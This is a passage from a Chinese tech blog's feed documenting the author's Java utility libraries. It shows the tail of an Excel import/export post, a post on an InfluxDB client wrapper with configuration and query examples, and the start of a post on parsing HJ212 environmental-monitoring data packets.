class="keyword">private</span> Long createId;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;创建时间&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(index = 4)</span></span><br><span class="line">    <span class="keyword">private</span> Date createTime;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;更新人id&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long updateId;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;更新时间&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(index = 5)</span></span><br><span class="line">    <span class="keyword">private</span> Date updateTime;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long unitId;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221623396.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221623706.png" alt=""></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - excel导入导出</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - influxdb</title>
    <link href="https://blog.allbs.cn/posts/40234/"/>
    <id>https://blog.allbs.cn/posts/40234/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.9</td></tr><tr><td>influxdb-java</td><td>2.23</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.9</td></tr><tr><td>jackson-databind</td><td>2.15.2</td></tr></tbody></table><h2 id="源码">源码</h2><p><a href="https://github.com/chenqi92/allbs-influx">https://github.com/chenqi92/allbs-influx</a></p><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-influx<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-influx:2.0.2&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-influx:2.0.2&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="添加配置">添加配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">influx:</span></span><br><span class="line">  <span class="attr">open_url:</span> <span class="string">http://192.168.1.111:8086</span></span><br><span class="line">  <span class="attr">username:</span> <span class="string">$&#123;INFLUX-USER:root&#125;</span></span><br><span class="line">  <span class="attr">password:</span> <span class="string">$&#123;INFLUX-PWD:123456&#125;</span></span><br><span class="line">  <span class="attr">database:</span> <span class="string">allbstest</span></span><br><span class="line">  <span class="comment"># influxdb储存策略</span></span><br><span class="line">  <span class="attr">retention_policy:</span> <span class="string">autogen</span></span><br><span class="line">  <span class="comment"># 储存永久</span></span><br><span class="line">  <span class="attr">retention_policy_time:</span> <span class="string">0s</span></span><br><span class="line">  <span class="comment"># 项目启动时如果无法连接influxdb库是否允许项目继续启动，设置为true为可以启动，默认为false如果无法连接则项目无法启动</span></span><br><span class="line">  <span class="attr">skip-error:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h3 id="启用">启用</h3><p>启动类添加注解<code>@EnableAllbsInflux</code></p><h3 id="在需要使用influxdb的类中注入template">在需要使用influxdb的类中注入template</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.annotation.Resource;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Resource</span></span><br><span class="line"><span class="keyword">private</span> InfluxTemplate influxTemplate;</span><br></pre></td></tr></table></figure><h3 id="业务使用">业务使用</h3><h4 id="插入数据">插入数据</h4><p>time时间为系统默认时间</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// tags</span></span><br><span class="line">Map&lt;String, String&gt; tagMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">tagMap.put(<span class="string">&quot;entNo&quot;</span>, <span class="string">&quot;q0038&quot;</span>);</span><br><span class="line">tagMap.put(<span class="string">&quot;outletNo&quot;</span>, <span class="string">&quot;q0038g0001&quot;</span>);</span><br><span class="line"><span class="comment">// fields</span></span><br><span class="line">Map&lt;String, Object&gt; fieldMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">fieldMap.put(<span class="string">&quot;IPA&quot;</span>, <span class="string">&quot;1&quot;</span>);</span><br><span class="line">fieldMap.put(<span class="string">&quot;pushTime&quot;</span>, <span class="string">&quot;2020-03-05 15:00:00&quot;</span>);</span><br><span class="line">influxTemplate.insert(<span class="string">&quot;表名&quot;</span>, tagMap, fieldMap);</span><br></pre></td></tr></table></figure><h4 id="表中time设定自定义时间">表中time设定自定义时间</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">influxTemplate.insert(<span class="string">&quot;表名&quot;</span>, tagMap, fieldMap, Instant.now().toEpochMilli(), TimeUnit.MILLISECONDS);</span><br></pre></td></tr></table></figure><h4 id="时区问题">时区问题</h4><p>当前插入数据都为当地实际时间，考虑到部分开发使用influxdb时会插入0时区的时间，所以可以自定义时间偏移量，下方代码插入时间将会比实际时间减少8小时</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">influxTemplate.insert(database, tags, params, ZoneOffset.of(<span class="string">&quot;+8&quot;</span>));</span><br></pre></td></tr></table></figure><h4 id="批量插入">批量插入</h4><p>考虑到批量插入时时间戳不能一致，所以不再提供自定义时间的参数，如果实在需要可以循环单个插入</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">database</span> <span class="operator">=</span> <span class="string">&quot;cq_test&quot;</span>;</span><br><span class="line"><span class="comment">// tags</span></span><br><span class="line">Map&lt;String, String&gt; tags = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">tags.put(<span class="string">&quot;tag1&quot;</span>, <span class="string">&quot;1111&quot;</span>);</span><br><span class="line">tags.put(<span class="string">&quot;tag2&quot;</span>, <span class="string">&quot;22222&quot;</span>);</span><br><span class="line"><span class="comment">// params</span></span><br><span class="line">List&lt;Map&lt;String, Object&gt;&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">4</span>; i++) &#123;</span><br><span class="line">    Map&lt;String, Object&gt; params = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    params.put(<span class="string">&quot;info&quot;</span>, <span class="string">&quot;测试数据&quot;</span> + i);</span><br><span class="line">    params.put(<span class="string">&quot;type&quot;</span>, i);</span><br><span class="line">    list.add(params);</span><br><span class="line">&#125;</span><br><span class="line">influxTemplate.batchInsert(database, tags, list);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6cf8a333b36952eaef8dbd77bc70f476.png" alt="image-20230315155153105"></p><h4 id="查询数据，工具未做处理">查询数据，工具未做处理</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">QueryResult</span> <span class="variable">result</span> <span class="operator">=</span> influxTemplate.query(<span class="string">&quot;SELECT * FROM \&quot;zt_gas_waste\&quot; order by time desc limit 100\n&quot;</span>);</span><br><span class="line">List&lt;QueryResult.Series&gt; series = result.getResults().get(<span class="number">0</span>).getSeries();</span><br></pre></td></tr></table></figure><h4 id="查询数据并转换为List-Map-String-Object">查询数据并转换为List&lt;Map&lt;String, Object&gt;&gt;</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM cq_test order by time desc&quot;</span>;</span><br><span class="line">List&lt;Map&lt;String, Object&gt;&gt; resList = influxTemplate.queryMapList(sql);</span><br><span class="line">log.info(JsonUtil.toJson(resList));</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/0fe264dfbac3e78289e1f5531e02ee5c.png" alt="image-20230315155538528"></p><h4 id="查询数据并将时间格式化为指定类型">查询数据并将时间格式化为指定类型</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM cq_test order by time desc&quot;</span>;</span><br><span class="line">List&lt;Map&lt;String, Object&gt;&gt; resList = influxTemplate.queryMapList(sql, <span class="string">&quot;yyyy年MM月dd日HH时mm分ss秒&quot;</span>);</span><br><span class="line">log.info(JsonUtil.toJson(resList));</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f90005cd1b08553fb9c740d44d9d08ad.png" alt="image-20230315172034935"></p><h4 id="转为实体类-List">转为实体类 List</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM cq_test order by time desc&quot;</span>;</span><br><span class="line">List&lt;CqTest&gt; resList = influxTemplate.queryBeanList(sql, CqTest.class);</span><br><span class="line">log.info(resList.toString());</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a453eaa909ce74542101461f37aa8dcb.png" alt="image-20230316134739656"></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - influxdb</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="influxdb" scheme="https://blog.allbs.cn/tags/influxdb/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - hj212工具类</title>
    <link href="https://blog.allbs.cn/posts/42795/"/>
    <id>https://blog.allbs.cn/posts/42795/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><h3 id="jdk8">jdk8</h3><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>jackson-datatype-jsr310</td><td>2.13.3</td></tr><tr><td>jackson-databind</td><td>2.13.3</td></tr><tr><td>spring-boot-starter-validation</td><td>2.7.2</td></tr><tr><td>javax.json.bind-api</td><td>1.0</td></tr></tbody></table><h3 id="jdk17">jdk17+</h3><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>17</td></tr><tr><td>spring boot</td><td>3.3.2</td></tr><tr><td>jackson-datatype-jsr310</td><td>2.17.2</td></tr><tr><td>jackson-databind</td><td>2.17.2</td></tr><tr><td>spring-boot-starter-validation</td><td>3.3.2</td></tr><tr><td>javax.json.bind-api</td><td>1.0</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-hj212<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-validation<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.7.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>jdk17版本</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.alltobs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>alltobs-hj212<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-hj212:2.0.0&#x27;</span><br></pre></td></tr></table></figure><p>jdk17版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.alltobs:alltobs-hj212:1.0.0&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-hj212:2.0.0&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="数据包中CP不转换">数据包中CP不转换</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">h212</span> <span class="operator">=</span> <span class="string">&quot;##0435QN=20210301111100112;ST=21;CN=2011;PW=123456;MN=ZLDSZ20210127;Flag=8;CP=&amp;&amp;DataTime=20210301111100;w01001-Rtd=8.33,w01001-Flag=N;w01009-Rtd=10.15,w01009-Flag=N;w01010-Rtd=9.7,w01010-Flag=N;w01014-Rtd=1425,w01014-Flag=N;w01003-Rtd=13.10,w01003-Flag=N;w21011-Rtd=0,w21011-Flag=N;w21001-Rtd=3.563168,w21001-Flag=N;w21003-Rtd=0.09055002,w21003-Flag=N;w01019-Rtd=4.102818,w01019-Flag=N;w01008-Rtd=0,w01008-Flag=N;w23002-Rtd=0,w23002-Flag=N&amp;&amp;7d00\r\n&quot;</span>;</span><br><span class="line"><span class="type">T212Mapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Mapper</span>().enableDefaultParserFeatures().enableDefaultVerifyFeatures();</span><br><span class="line">Map&lt;String, Object&gt; resultMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">mapper.readMap(h212)</span><br></pre></td></tr></table></figure><h4 id="结果">结果</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;QN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;20210301111100112&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;ST&quot;</span><span class="punctuation">:</span> <span class="string">&quot;21&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2011&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;PW&quot;</span><span class="punctuation">:</span> <span class="string">&quot;123456&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;MN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ZLDSZ20210127&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;8&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CP&quot;</span><span class="punctuation">:</span> <span class="string">&quot;DataTime=20210301111100;w01001-Rtd=8.33,w01001-Flag=N;w01009-Rtd=10.15,w01009-Flag=N;w01010-Rtd=9.7,w01010-Flag=N;w01014-Rtd=1425,w01014-Flag=N;w01003-Rtd=13.10,w01003-Flag=N;w21011-Rtd=0,w21011-Flag=N;w21001-Rtd=3.563168,w21001-Flag=N;w21003-Rtd=0.09055002,w21003-Flag=N;w01019-Rtd=4.102818,w01019-Flag=N;w01008-Rtd=0,w01008-Flag=N;w23002-Rtd=0,w23002-Flag=N&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="完全转换map">完全转换map</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">h212</span> <span class="operator">=</span> <span class="string">&quot;##0435QN=20210301111100112;ST=21;CN=2011;PW=123456;MN=ZLDSZ20210127;Flag=8;CP=&amp;&amp;DataTime=20210301111100;w01001-Rtd=8.33,w01001-Flag=N;w01009-Rtd=10.15,w01009-Flag=N;w01010-Rtd=9.7,w01010-Flag=N;w01014-Rtd=1425,w01014-Flag=N;w01003-Rtd=13.10,w01003-Flag=N;w21011-Rtd=0,w21011-Flag=N;w21001-Rtd=3.563168,w21001-Flag=N;w21003-Rtd=0.09055002,w21003-Flag=N;w01019-Rtd=4.102818,w01019-Flag=N;w01008-Rtd=0,w01008-Flag=N;w23002-Rtd=0,w23002-Flag=N&amp;&amp;7d00\r\n&quot;</span>;</span><br><span class="line"><span class="type">T212Mapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Mapper</span>().enableDefaultParserFeatures().enableDefaultVerifyFeatures();</span><br><span class="line">Map&lt;String, Object&gt; resultMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">mapper.readDeepMap(h212)</span><br></pre></td></tr></table></figure><h4 id="结果-2">结果</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;QN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;20210301111100112&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;ST&quot;</span><span class="punctuation">:</span> <span class="string">&quot;21&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2011&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;PW&quot;</span><span class="punctuation">:</span> <span class="string">&quot;123456&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;MN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ZLDSZ20210127&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;8&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CP&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;DataTime&quot;</span><span class="punctuation">:</span> <span class="string">&quot;20210301111100&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01001-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;8.33&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01001-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01009-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;10.15&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01009-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01010-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;9.7&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01010-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01014-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1425&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01014-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01003-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;13.10&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01003-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21011-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21011-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21001-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;3.563168&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21001-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21003-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.09055002&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w21003-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01019-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;4.102818&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01019-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01008-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w01008-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w23002-Rtd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;w23002-Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="转换为实体类">转换为实体类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">h212</span> <span class="operator">=</span> <span class="string">&quot;##0435QN=20210301111100112;ST=21;CN=2011;PW=123456;MN=ZLDSZ20210127;Flag=8;CP=&amp;&amp;DataTime=20210301111100;w01001-Rtd=8.33,w01001-Flag=N;w01009-Rtd=10.15,w01009-Flag=N;w01010-Rtd=9.7,w01010-Flag=N;w01014-Rtd=1425,w01014-Flag=N;w01003-Rtd=13.10,w01003-Flag=N;w21011-Rtd=0,w21011-Flag=N;w21001-Rtd=3.563168,w21001-Flag=N;w21003-Rtd=0.09055002,w21003-Flag=N;w01019-Rtd=4.102818,w01019-Flag=N;w01008-Rtd=0,w01008-Flag=N;w23002-Rtd=0,w23002-Flag=N&amp;&amp;7d00\r\n&quot;</span>;</span><br><span class="line"><span class="type">T212Mapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Mapper</span>().enableDefaultParserFeatures().enableDefaultVerifyFeatures();</span><br><span class="line">Map&lt;String, Object&gt; resultMap = <span class="keyword">new</span> <span class="title 